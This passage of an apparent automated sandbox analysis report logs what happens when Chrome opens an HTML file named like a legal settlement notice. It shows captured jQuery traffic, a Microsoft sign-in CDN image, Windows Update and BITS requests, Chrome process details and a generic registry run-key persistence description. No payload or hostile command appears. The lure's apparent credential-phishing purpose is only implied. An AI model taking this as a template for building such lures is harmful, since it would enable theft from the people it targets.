module.exports?module.exports=a.document?b(a,!0):function(a){if(!a.document)throw new Error("jQuery requires a window w
2024-04-26 15:29:47 UTC	16384	IN	Data Raw: 3d 3d 3d 6d 2e 6e 6f 64 65 54 79 70 65 29 26 26 2b 2b 74 26 26 28 73 26 26 28 6c 3d 6d 5b 75 5d 7c 7c 28 6d 5b 75 5d 3d 7b 7d 29 2c 6b 3d 6c 5b 6d 2e 75 6e 69 71 75 65 49 44 5d 7c 7c 28 6c 5b 6d 2e 75 6e 69 71 75 65 49 44 5d 3d 7b 7d 29 2c 6b 5b 61 5d 3d 5b 77 2c 74 5d 29 2c 6d 3d 3d 3d 62 29 29 62 72 65 61 6b 3b 72 65 74 75 72 6e 20 74 2d 3d 65 2c 74 3d 3d 3d 64 7c 7c 74 25 64 3d 3d 3d 30 26 26 74 2f 64 3e 3d 30 7d 7d 7d 2c 50 53 45 55 44 4f 3a 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 76 61 72 20 63 2c 65 3d 64 2e 70 73 65 75 64 6f 73 5b 61 5d 7c 7c 64 2e 73 65 74 46 69 6c 74 65 72 73 5b 61 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 5d 7c 7c 67 61 2e 65 72 72 6f 72 28 22 75 6e 73 75 70 70 6f 72 74 65 64 20 70 73 65 75 64 6f 3a 20 22 2b 61 29 3b 72 65 74 Data Ascii: ===m.nodeType)&&++t&&(s&&(l=m[u]\|\|(m[u]={}),k=l[m.uniqueID]\|\|(l[m.uniqueID]={}),k[a]=[w,t]),m===b))break;return t-=e,t===d\|\|t%d===0&&t/d>=0}}},PSEUDO:function(a,b){var c,e=d.pseudos[a]\|\|d.setFilters[a.toLowerCase()]\|\|ga.error("unsupported pseudo: "+a);ret
2024-04-26 15:29:47 UTC	16384	IN	Data Raw: 64 3d 31 2c 55 2e 70 72 6f 74 6f 74 79 70 65 3d 7b 63 61 63 68 65 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3d 61 5b 74 68 69 73 2e 65 78 70 61 6e 64 6f 5d 3b 72 65 74 75 72 6e 20 62 7c 7c 28 62 3d 7b 7d 2c 54 28 61 29 26 26 28 61 2e 6e 6f 64 65 54 79 70 65 3f 61 5b 74 68 69 73 2e 65 78 70 61 6e 64 6f 5d 3d 62 3a 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 61 2c 74 68 69 73 2e 65 78 70 61 6e 64 6f 2c 7b 76 61 6c 75 65 3a 62 2c 63 6f 6e 66 69 67 75 72 61 62 6c 65 3a 21 30 7d 29 29 29 2c 62 7d 2c 73 65 74 3a 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 29 7b 76 61 72 20 64 2c 65 3d 74 68 69 73 2e 63 61 63 68 65 28 61 29 3b 69 66 28 22 73 74 72 69 6e 67 22 3d 3d 74 79 70 65 6f 66 20 62 29 65 5b 72 2e 63 61 6d 65 6c 43 61 73 65 Data Ascii: d=1,U.prototype={cache:function(a){var b=a[this.expando];return b\|\|(b={},T(a)&&(a.nodeType?a[this.expando]=b:Object.defineProperty(a,this.expando,{value:b,configurable:!0}))),b},set:function(a,b,c){var d,e=this.cache(a);if("string"==typeof b)e[r.camelCase
2024-04-26 15:29:47 UTC	16384	IN	Data Raw: 65 26 26 39 21 3d 3d 74 68 69 73 2e 6e 6f 64 65 54 79 70 65 7c 7c 28 74 68 69 73 2e 74 65 78 74 43 6f 6e 74 65 6e 74 3d 61 29 7d 29 7d 2c 6e 75 6c 6c 2c 61 2c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 29 7d 2c 61 70 70 65 6e 64 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 49 61 28 74 68 69 73 2c 61 72 67 75 6d 65 6e 74 73 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 31 3d 3d 3d 74 68 69 73 2e 6e 6f 64 65 54 79 70 65 7c 7c 31 31 3d 3d 3d 74 68 69 73 2e 6e 6f 64 65 54 79 70 65 7c 7c 39 3d 3d 3d 74 68 69 73 2e 6e 6f 64 65 54 79 70 65 29 7b 76 61 72 20 62 3d 44 61 28 74 68 69 73 2c 61 29 3b 62 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 61 29 7d 7d 29 7d 2c 70 72 65 70 65 6e 64 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 49 61 28 Data Ascii: e&&9!==this.nodeType\|\|(this.textContent=a)})},null,a,arguments.length)},append:function(){return Ia(this,arguments,function(a){if(1===this.nodeType\|\|11===this.nodeType\|\|9===this.nodeType){var b=Da(this,a);b.appendChild(a)}})},prepend:function(){return Ia(
2024-04-26 15:29:47 UTC	16384	IN	Data Raw: 73 2e 73 65 6c 65 63 74 65 64 3d 7b 67 65 74 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3d 61 2e 70 61 72 65 6e 74 4e 6f 64 65 3b 72 65 74 75 72 6e 20 62 26 26 62 2e 70 61 72 65 6e 74 4e 6f 64 65 26 26 62 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 73 65 6c 65 63 74 65 64 49 6e 64 65 78 2c 6e 75 6c 6c 7d 2c 73 65 74 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3d 61 2e 70 61 72 65 6e 74 4e 6f 64 65 3b 62 26 26 28 62 2e 73 65 6c 65 63 74 65 64 49 6e 64 65 78 2c 62 2e 70 61 72 65 6e 74 4e 6f 64 65 26 26 62 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 73 65 6c 65 63 74 65 64 49 6e 64 65 78 29 7d 7d 29 2c 72 2e 65 61 63 68 28 5b 22 74 61 62 49 6e 64 65 78 22 2c 22 72 65 61 64 4f 6e 6c 79 22 2c 22 6d 61 78 4c 65 6e 67 74 68 22 2c 22 63 65 6c 6c 53 70 61 63 Data Ascii: s.selected={get:function(a){var b=a.parentNode;return b&&b.parentNode&&b.parentNode.selectedIndex,null},set:function(a){var b=a.parentNode;b&&(b.selectedIndex,b.parentNode&&b.parentNode.selectedIndex)}}),r.each(["tabIndex","readOnly","maxLength","cellSpac
2024-04-26 15:29:47 UTC	4789	IN	Data Raw: 3d 62 2e 6a 73 6f 6e 70 21 3d 3d 21 31 26 26 28 52 62 2e 74 65 73 74 28 62 2e 75 72 6c 29 3f 22 75 72 6c 22 3a 22 73 74 72 69 6e 67 22 3d 3d 74 79 70 65 6f 66 20 62 2e 64 61 74 61 26 26 30 3d 3d 3d 28 62 2e 63 6f 6e 74 65 6e 74 54 79 70 65 7c 7c 22 22 29 2e 69 6e 64 65 78 4f 66 28 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 77 77 77 2d 66 6f 72 6d 2d 75 72 6c 65 6e 63 6f 64 65 64 22 29 26 26 52 62 2e 74 65 73 74 28 62 2e 64 61 74 61 29 26 26 22 64 61 74 61 22 29 3b 69 66 28 68 7c 7c 22 6a 73 6f 6e 70 22 3d 3d 3d 62 2e 64 61 74 61 54 79 70 65 73 5b 30 5d 29 72 65 74 75 72 6e 20 65 3d 62 2e 6a 73 6f 6e 70 43 61 6c 6c 62 61 63 6b 3d 72 2e 69 73 46 75 6e 63 74 69 6f 6e 28 62 2e 6a 73 6f 6e 70 43 61 6c 6c 62 61 63 6b 29 3f 62 2e 6a 73 6f 6e 70 43 61 6c 6c 62 Data Ascii: =b.jsonp!==!1&&(Rb.test(b.url)?"url":"string"==typeof b.data&&0===(b.contentType\|\|"").indexOf("application/x-www-form-urlencoded")&&Rb.test(b.data)&&"data");if(h\|\|"jsonp"===b.dataTypes[0])return e=b.jsonpCallback=r.isFunction(b.jsonpCallback)?b.jsonpCallb

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	49723	13.107.213.41	443	6620	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 15:29:49 UTC	620	OUT	GET /shared/1.0/content/images/signin-options_4e48046ce74f4b89d45037c90576bfac.svg HTTP/1.1 Host: logincdn.msauth.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-26 15:29:49 UTC	779	IN	HTTP/1.1 200 OK Date: Fri, 26 Apr 2024 15:29:49 GMT Content-Type: image/svg+xml Content-Length: 621 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Tue, 10 Nov 2020 03:41:24 GMT ETag: 0x8D8852A7F48993A x-ms-request-id: a77ed01a-701e-0001-40ee-97ce9c000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240426T152949Z-1865489d5f47qbmbt8czrx60cn0000000bpg00000000k83d x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-04-26 15:29:49 UTC	621	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 7d 55 4d 6f 22 31 0c fd 2b a3 d9 ab 93 c9 f7 47 3b 20 cd 9e 38 6c af 1c b8 4d 0b 05 24 0a 55 19 41 57 ab fe f7 b5 93 a0 55 61 58 0d d8 60 27 ef 3d db 09 b4 c7 d3 ba fa 7c db ed 8f 93 7a 33 0c ef 0f 4d 73 3e 9f f9 59 f3 c3 c7 ba 51 42 88 06 57 d4 d5 79 bb 1c 36 93 da 84 ba da ac b6 eb cd 90 3f 9f b6 ab f3 cf c3 e7 a4 16 95 a8 4c c0 57 3d 6d 97 ab d7 e3 b4 3d 0e bf 77 ab 29 ef ff bc 6e 77 bb 87 fd 61 bf 7a fc e2 cf f9 db 0f 23 e8 79 fc 6a 9b bc ac 6d f2 a6 8f d5 cb 50 bd ec fa 23 ca e9 ef b1 36 d3 f6 bd 1f 36 97 75 cf 75 b5 9c d4 4f 46 80 56 dc fa 30 37 62 a6 d5 5c bb 99 0a 73 ad 66 ca cc 55 e0 de b9 4e 0a ee 42 84 e2 04 3e 12 64 04 2d 7a 0c a5 78 89 32 cb ad f1 4c 72 0b 52 72 29 dc c5 e5 ac e2 4a 46 cc 7a 19 3b 4c 68 af a1 b8 Data Ascii: }UMo"1+G; 8lM$UAWUaX`'=\|z3Ms>YQBWy6?LW=m=w)nwaz#yjmP#66uuOFV07b\sfUNB>d-zx2LrRr)JFz;Lh

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.5	49724	23.204.76.112	443

Timestamp	Bytes transferred	Direction	Data
2024-04-26 15:29:49 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-04-26 15:29:49 UTC	466	IN	HTTP/1.1 200 OK Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (chd/0758) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-eus-z1 Cache-Control: public, max-age=56036 Date: Fri, 26 Apr 2024 15:29:49 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.5	49728	23.204.76.112	443

Timestamp	Bytes transferred	Direction	Data
2024-04-26 15:29:50 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-04-26 15:29:50 UTC	530	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Last-Modified: Tue, 16 May 2017 22:58:00 GMT ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json X-Azure-Ref: 0DZ+oYgAAAABSxwJpMgMuSLkfS640ajfFQVRBRURHRTEyMTkAY2VmYzI1ODMtYTliMi00NGE3LTk3NTUtYjc2ZDE3ZTA1Zjdm Cache-Control: public, max-age=56029 Date: Fri, 26 Apr 2024 15:29:50 GMT Content-Length: 55 Connection: close X-CID: 2
2024-04-26 15:29:50 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.5	49727	13.107.246.41	443	6620	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 15:29:50 UTC	420	OUT	GET /shared/1.0/content/images/signin-options_4e48046ce74f4b89d45037c90576bfac.svg HTTP/1.1 Host: logincdn.msauth.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-26 15:29:50 UTC	799	IN	HTTP/1.1 200 OK Date: Fri, 26 Apr 2024 15:29:50 GMT Content-Type: image/svg+xml Content-Length: 621 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Tue, 10 Nov 2020 03:41:24 GMT ETag: 0x8D8852A7F48993A x-ms-request-id: a77ed01a-701e-0001-40ee-97ce9c000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240426T152950Z-1865489d5f4pfk67n80fmg1bbw0000000b6g000000016nr3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-04-26 15:29:50 UTC	621	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 7d 55 4d 6f 22 31 0c fd 2b a3 d9 ab 93 c9 f7 47 3b 20 cd 9e 38 6c af 1c b8 4d 0b 05 24 0a 55 19 41 57 ab fe f7 b5 93 a0 55 61 58 0d d8 60 27 ef 3d db 09 b4 c7 d3 ba fa 7c db ed 8f 93 7a 33 0c ef 0f 4d 73 3e 9f f9 59 f3 c3 c7 ba 51 42 88 06 57 d4 d5 79 bb 1c 36 93 da 84 ba da ac b6 eb cd 90 3f 9f b6 ab f3 cf c3 e7 a4 16 95 a8 4c c0 57 3d 6d 97 ab d7 e3 b4 3d 0e bf 77 ab 29 ef ff bc 6e 77 bb 87 fd 61 bf 7a fc e2 cf f9 db 0f 23 e8 79 fc 6a 9b bc ac 6d f2 a6 8f d5 cb 50 bd ec fa 23 ca e9 ef b1 36 d3 f6 bd 1f 36 97 75 cf 75 b5 9c d4 4f 46 80 56 dc fa 30 37 62 a6 d5 5c bb 99 0a 73 ad 66 ca cc 55 e0 de b9 4e 0a ee 42 84 e2 04 3e 12 64 04 2d 7a 0c a5 78 89 32 cb ad f1 4c 72 0b 52 72 29 dc c5 e5 ac e2 4a 46 cc 7a 19 3b 4c 68 af a1 b8 Data Ascii: }UMo"1+G; 8lM$UAWUaX`'=\|z3Ms>YQBWy6?LW=m=w)nwaz#yjmP#66uuOFV07b\sfUNB>d-zx2LrRr)JFz;Lh

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.5	49730	142.251.35.228	443	6620	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 15:29:58 UTC	667	OUT	GET /s2/favicons?domain=microsoft.com HTTP/1.1 Host: www.google.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIlKHLAQiFoM0BCOnFzQEIucrNAQiK080BGI/OzQEYwtjNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-26 15:29:58 UTC	496	IN	HTTP/1.1 301 Moved Permanently Location: https://t0.gstatic.com/faviconV2?client=SOCIAL&type=FAVICON&fallback_opts=TYPE,SIZE,URL&url=http://microsoft.com&size=16 X-Content-Type-Options: nosniff Server: sffe Content-Length: 333 X-XSS-Protection: 0 Date: Fri, 26 Apr 2024 15:04:59 GMT Expires: Fri, 26 Apr 2024 15:34:59 GMT Cache-Control: public, max-age=1800 Content-Type: text/html; charset=UTF-8 Age: 1499 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-04-26 15:29:58 UTC	333	IN	Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 54 49 54 4c 45 3e 33 30 31 20 4d 6f 76 65 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 33 30 31 20 4d 6f 76 65 64 3c 2f 48 31 3e 0a 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 0a 3c 41 20 48 52 45 46 3d 22 68 74 74 70 73 3a 2f 2f 74 30 2e 67 73 74 61 74 69 63 2e 63 6f 6d 2f 66 61 76 69 63 6f 6e 56 32 3f 63 6c 69 65 6e 74 3d 53 4f 43 49 41 4c 26 61 6d 70 3b 74 79 70 65 3d 46 41 56 49 43 4f 4e 26 61 6d 70 3b 66 61 6c 6c 62 61 63 6b 5f 6f 70 74 73 3d 54 59 50 45 2c Data Ascii: <HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8"><TITLE>301 Moved</TITLE></HEAD><BODY><H1>301 Moved</H1>The document has moved<A HREF="https://t0.gstatic.com/faviconV2?client=SOCIAL&type=FAVICON&fallback_opts=TYPE,

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.5	49731	52.165.165.26	443

Timestamp	Bytes transferred	Direction	Data
2024-04-26 15:30:01 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=MVXxX4ocoKVw9Xz&MD=9eGSegYZ HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-04-26 15:30:01 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: 18d0dc5a-dbcd-47bc-9e8f-3052255792b8 MS-RequestId: b5949717-05ab-4faf-ae05-87a2fe7b2437 MS-CV: 4zL6VXVDxk6Iv9wA.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Fri, 26 Apr 2024 15:30:00 GMT Connection: close Content-Length: 24490
2024-04-26 15:30:01 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-04-26 15:30:01 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.5	49746	52.165.165.26	443

Timestamp	Bytes transferred	Direction	Data
2024-04-26 15:30:42 UTC	306	OUT	GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=MVXxX4ocoKVw9Xz&MD=9eGSegYZ HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-04-26 15:30:42 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "Mx1RoJH/qEwpWfKllx7sbsl28AuERz5IYdcsvtTJcgM=_2160" MS-CorrelationId: 567a311d-2827-4027-9b11-fa5f79c4948f MS-RequestId: cd28bf4c-6e6e-449c-929e-34423f5e53b0 MS-CV: sW7CGnAu+keOQCoe.0 X-Microsoft-SLSClientCache: 2160 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Fri, 26 Apr 2024 15:30:41 GMT Connection: close Content-Length: 25457
2024-04-26 15:30:42 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 51 22 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 db 8e 00 00 14 00 00 00 00 00 10 00 51 22 00 00 20 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 f3 43 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 0d 92 6f db e5 21 f3 43 43 4b ed 5a 09 38 55 5b df 3f 93 99 90 29 99 e7 29 ec 73 cc 4a 66 32 cf 84 32 64 c8 31 c7 11 52 38 87 90 42 66 09 99 87 32 0f 19 0a 09 51 a6 a8 08 29 53 86 4a 52 84 50 df 46 83 ba dd 7b df fb 7e ef 7d ee 7d bf ef 9e e7 d9 67 ef 35 ee b5 fe eb 3f ff b6 96 81 a2 0a 04 fc 31 40 21 5b 3f a5 ed 1b 04 0e 85 42 a0 10 04 64 12 6c a5 de aa a1 d8 ea f3 58 01 f2 f5 67 0b 5e 9b bd e8 a0 90 1d bf 40 88 9d eb 49 b4 87 9b ab 8b 9d 2b 46 c8 c7 c5 19 92 Data Ascii: MSCFQ"DQ" AdCenvironment.cabo!CCKZ8U[?))sJf22d1R8Bf2Q)SJRPF{~}}g5?1@![?BdlXg^@I+F
2024-04-26 15:30:42 UTC	9633	IN	Data Raw: 21 6f b3 eb a6 cc f5 31 be cf 05 e2 a9 fe fa 57 6d 19 30 b3 c2 c5 66 c9 6a df f5 e7 f0 78 bd c7 a8 9e 25 e3 f9 bc ed 6b 54 57 08 2b 51 82 44 12 fb b9 53 8c cc f4 60 12 8a 76 cc 40 40 41 9b dc 5c 17 ff 5c f9 5e 17 35 98 24 56 4b 74 ef 42 10 c8 af bf 7f c6 7f f2 37 7d 5a 3f 1c f2 99 79 4a 91 52 00 af 38 0f 17 f5 2f 79 81 65 d9 a9 b5 6b e4 c7 ce f6 ca 7a 00 6f 4b 30 44 24 22 3c cf ed 03 a5 96 8f 59 29 bc b6 fd 04 e1 70 9f 32 4a 27 fd 55 af 2f fe b6 e5 8e 33 bb 62 5f 9a db 57 40 e9 f1 ce 99 66 90 8c ff 6a 62 7f dd c5 4a 0b 91 26 e2 39 ec 19 4a 71 63 9d 7b 21 6d c3 9c a3 a2 3c fa 7f 7d 96 6a 90 78 a6 6d d2 e1 9c f9 1d fc 38 d8 94 f4 c6 a5 0a 96 86 a4 bd 9e 1a ae 04 42 83 b8 b5 80 9b 22 38 20 b5 25 e5 64 ec f7 f4 bf 7e 63 59 25 0f 7a 2e 39 57 76 a2 71 aa 06 8a Data Ascii: !o1Wm0fjx%kTW+QDS`v@@A\\^5$VKtB7}Z?yJR8/yekzoK0D$"<Y)p2J'U/3b_W@fjbJ&9Jqc{!m<}jxm8B"8 %d~cY%z.9Wvq

Target ID:	0
Start time:	17:29:36
Start date:	26/04/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "C:\Users\user\Desktop\Settlement DOL 08262024 - Victoria Brignon - Reference #27224675-2722934.html"
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	2
Start time:	17:29:41
Start date:	26/04/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2268 --field-trial-handle=2224,i,17334446119998781605,2213609609449426346,262144 /prefetch:8
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Chronological Activities

Disassembly

⊘No disassembly

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
